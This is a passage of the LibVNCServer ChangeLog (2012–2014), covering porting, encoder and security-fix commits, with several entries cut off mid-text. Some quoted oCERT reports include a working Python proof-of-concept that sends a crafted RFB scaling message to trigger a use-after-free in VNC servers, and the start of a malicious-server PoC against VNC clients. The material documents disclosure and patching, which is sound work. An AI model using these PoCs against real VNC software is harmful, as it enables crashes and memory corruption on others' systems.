cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger
a free. return; at the end, both cases there is a call the rfbSendNewScaleSize
function, where if the connection is subsequently disconnected after
sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth =
rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead
to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is
called again on the return from rfbProcessClientNormalMessage. In
KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not
[password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occurred.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
2014-10-10 Christian Beier <dontmind@freeshell.org>
* libvncclient/rfbproto.c: Fix possible libvncclient ServerInit
memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is
related to the ServerInit message where the width, the height of the
server's framebuffer, its pixel format, and the name are sent to the
client. The name can be used in a malicious manner to trigger a
memory corruption in the client. Field Size --------------------------------- name-length
[4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was
tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the
program to hang but allows you to try to disconnect. After this it
hangs. Occasionally there will be segmentation fault in memcpy. This
can become more reliable if you connect to a different VNC server
first (Or the wrong port on the malicious server) then connecting to
the malicious port. Every time I accidentally made the wrong VNC
connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it
with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can
return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) <<
Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); <<
Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible
to cause the malloc to fail, further leading to an attempt to write
0x0.
2014-10-09 Christian Beier <dontmind@freeshell.org>
* NEWS: Update NEWS for 0.9.10.
2014-10-09 Christian Beier <dontmind@freeshell.org>
* AUTHORS: Update AUTHORS.
2014-10-07 dscho <johannes.schindelin@gmx.de>
* : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual
autotools setup
2014-10-07 Johannes Schindelin <johannes.schindelin@gmx.de>
* autogen.sh: Add back a working autogen.sh There was no reason to get rid of the convenient script. Most
developers who are not in love with autoconf fail to remember that
autoreconf invocation, therefore it is better to have something
working in place. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-09-01 Nicolas Ruff <nruff@google.com>
* libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message
when processing the FileTime. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
x11vnc subdir. The new x11vnc repo is at https://github.com/LibVNC/x11vnc.
2014-09-02 Johannes Schindelin <johannes.schindelin@gmx.de>
* libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
* libvncclient/tls_openssl.c: Use Windows' critical sections to
emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
emulation library which is the reason we did not need
Windows-specific hacks earlier). Happily, it is very easy to provide
Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
* libvncclient/zrle.c: Perform pointer arithmetic on char * instead
of void * Microsoft Visual C++ does not allow pointer arithmetic on void
pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
* libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix
emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
* libvncclient/listen.c, libvncclient/sockets.c,
libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef
guards To support Microsoft Visual C++, we must not guard Windows-specific
code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we
can use that instead. [JES: fixed commit message, reordered commit, split out unrelated
changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
* compat/msvc/stdint.h, compat/msvc/sys/time.h,
compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from:
https://runexe.googlecode.com/svn-history/r9/trunk/src/runlib/msstdint.h(we can incorporate it because it is licensed under the 3-clause BSD
libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually
called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com>
* rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header,
not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
* libvncclient/vncviewer.c: Include Winsock2 header before windows.h
include That's because there are duplicate #defines, and when Winsock2 is
defined before windows.h then windows.h detects that and prevent
redefinition. See
http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/4a90b143-1fb8-43e9-a54c-956127e0c579/windowsh-and-winsock2h?forum=windowssdk[JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com>
* libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was
detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-08-26 dscho <johannes.schindelin@gmx.de>
* : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash)
2014-08-18 Nicolas Ruff <nruff@google.com>
* libvncserver/rfbserver.c: Check malloc() return value on
client->server ClientCutText message. Client can send up to 2**32-1
bytes of text, and such a large allocation is likely to fail in case
of high memory pressure. This would in a server crash (write at
address 0).
2014-08-16 dscho <johannes.schindelin@gmx.de>
* : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb
2014-08-16 Johannes Schindelin <johannes.schindelin@gmx.de>
* acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-08-10 Luca Falavigna <dktrkranz@debian.org>
* acinclude.m4: Enable support for ppc64el architecture
2014-08-10 Luca Falavigna <dktrkranz@debian.org>
* libvncclient.pc.in, libvncserver.pc.in: Use Libs.private to avoid
unnecessary linkage
2014-08-16 Johannes Schindelin <johannes.schindelin@gmx.de>
* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2014-08-16 dscho <johannes.schindelin@gmx.de>
* : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer()
rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer
updates This patch implements support in LibVNCClient for framebuffer
updates encoded as H.264 frames. Hardware accelerated decoding is
performed using VA API. This is experimental support to let the community explore the
possibilities offered by the potential bandwidth and latency
reductions that H.264 encoding allows. This may be particularly
useful for use cases such as online gaming, hosted desktops, hosted
set top boxes... This patch only provides the client side support and is meant to be
used with corresponding server-side support, as provided by an
upcoming patch for qemu ui/vnc module (to view the display of a
virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update
messages are generated for a single server framebuffer modification,
the H.264 frame data is sent only with the first update message.
Subsequent update framebuffer messages will contain only the
coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I
submitted with minor enhancements to the gtkvncviewer application:
http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for
libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./autogen.sh make sudo make install cd .. git clone git://anongit.freedesktop.org/vaapi/intel-driver cd intel-driver git checkout v1.0-branch ./autogen.sh make sudo make install Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
2013-01-08 David Verbeiren <david.verbeiren@intel.com>
* client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer.
2012-09-14 Christian Beier <dontmind@freeshell.org>
* AUTHORS: Add Raphael to AUTHORS.
2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
* libvncclient/rfbproto.c: Include strings.h for strncasecmp(3)
2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
* libvncserver/websockets.c: Work around a gcc bug with anonymous
structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly
because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly,
but works. [1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784
2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
* libvncserver/rfbserver.c: Include stdio.h for snprintf(3)
2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
* libvncserver/websockets.c: Add the required headers for read(2)
2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
moving from Compression Level (CL) 5 to CL 9 in the TightVNC
encoder did not increase the compression ratio of any datasets more
than 10%, and the compression ratio only increased by more than 5%
on four of them. The compression ratio actually decreased a few
percent on five of them. In exchange for this paltry increase in
compression ratio, the CPU usage, on average, went up by a factor of
5. Thus, for all intents and purposes, TightVNC CL 5 provides the
"best useful compression" for that encoder. -- TurboVNC's best compression level (CL 2) compresses 3D and video
workloads significantly more "tightly" than TightVNC CL 5 (~70%
better, in the aggregate) but does not quite achieve the same level
of compression with 2D workloads (~20% worse, in the aggregate.)
This decrease in compression ratio may or may not be noticeable,
since many of the datasets it affects are not performance-critical
(such as the console output of a compilation, etc.) However, for
peace of mind, it was still desirable to have a mode that compressed
with equal "tightness" to TightVNC CL 5, since we proposed to
replace that encoder entirely. -- A new mode was discovered in the TurboVNC encoder that produces,
in the aggregate, similar compression ratios on 2D datasets as
TightVNC CL 5. That new mode involves using Zlib level 7 (the same
level used by TightVNC CL 5) but setting the "palette threshold" to
256, so that indexed color encoding is used whenever possible. This
mode reduces bandwidth only marginally (typically 10-20%) relative
to TurboVNC CL 2 on low-color workloads, in exchange for nearly
doubling CPU usage, and it does not benefit high-color workloads at
all (since those are usually encoded with JPEG.) However, it
provides a means of reproducing the same "tightness" as the TightVNC encoder on 2D workloads without sacrificing any compression for
3D/video workloads, and without using any more CPU time than
necessary. -- The TurboVNC encoder still performs as well or better than the
TightVNC encoder when plain libjpeg is used instead of
libjpeg-turbo. Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the
libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper
can be used with plain libjpeg as well. This required updating the
TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0,
mainly because the TurboJPEG 1.2 API handles pixel formats in a much
cleaner way, which made the conversion code easier to write. It
also eases the maintenance to have the wrapper synced as much as
possible with the upstream code base (so I can merge any relevant
bug fixes that are discovered upstream.) The libvncserver version of
the TurboJPEG wrapper is a "lite" version, containing only the JPEG
compression/decompression code and not the lossless transform, YUV
encoding/decoding, and dynamic buffer allocation features from
TurboJPEG 1.2. configure.ac: Removed the --with-turbovnc option. configure still
checks for the presence of libjpeg-turbo, but only for the purposes
of printing a performance warning if it isn't available. rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder
patch. We cannot use tightQualityLevel for the TurboVNC 1-100
quality level, because tightQualityLevel is also used by ZRLE.
Thus, a new parameter (turboQualityLevel) was created. rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs. Fix
afore-mentioned tightQualityLevel bug. libvncserver/tight.c: Replaced the TightVNC encoder with the
TurboVNC encoder. Relative to the initial TurboVNC encoder patch,
this patch also: -- Adds TightPng support to the TurboVNC encoder --
Adds the afore-mentioned low-bandwidth mode, which is mapped
externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG
wrapper) as well as TJBench (a benchmark for same.) These are
useful for ensuring that the wrapper still functions correctly and
performantly if it needs to be modified for whatever reason. Both
of these programs are derived from libjpeg-turbo 1.2.0. As with the
TurboJPEG wrapper, they do not contain the more advanced features of
TurboJPEG 1.2, such as YUV encoding/decoding and lossless
transforms.
2012-03-15 Christian Beier <dontmind@freeshell.org>
* AUTHORS: Add DRC to AUTHORS.
2012-03-15 Christian Beier <dontmind@freeshell.org>
* rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient
struct. Try to not break ABI between releases. Even if the code gets ugly...
2012-03-10 DRC <information@virtualgl.org>
* x11vnc/Makefile.am: Fix the build of x11vnc when an out-of-tree
build directory is used
2012-03-10 DRC <information@virtualgl.org>
* libvncserver/rfbserver.c: Fix an issue that affects the existing
Tight encoder as well as the newly-implemented Turbo encoder. The issue is that, when using the current libvncserver source, it is
impossible to disable Tight JPEG encoding. The way Tight/Turbo
viewers disable JPEG encoding is by simply not sending the Tight
quality value, causing the server to use the default value of -1.
Thus, cl->tightQualityLevel has to be set to -1 prior to processing
the encodings message for this mechanism to work. Similarly, it is
not guaranteed that the compress level will be set in the encodings
message, so it is set to a default value prior to processing the
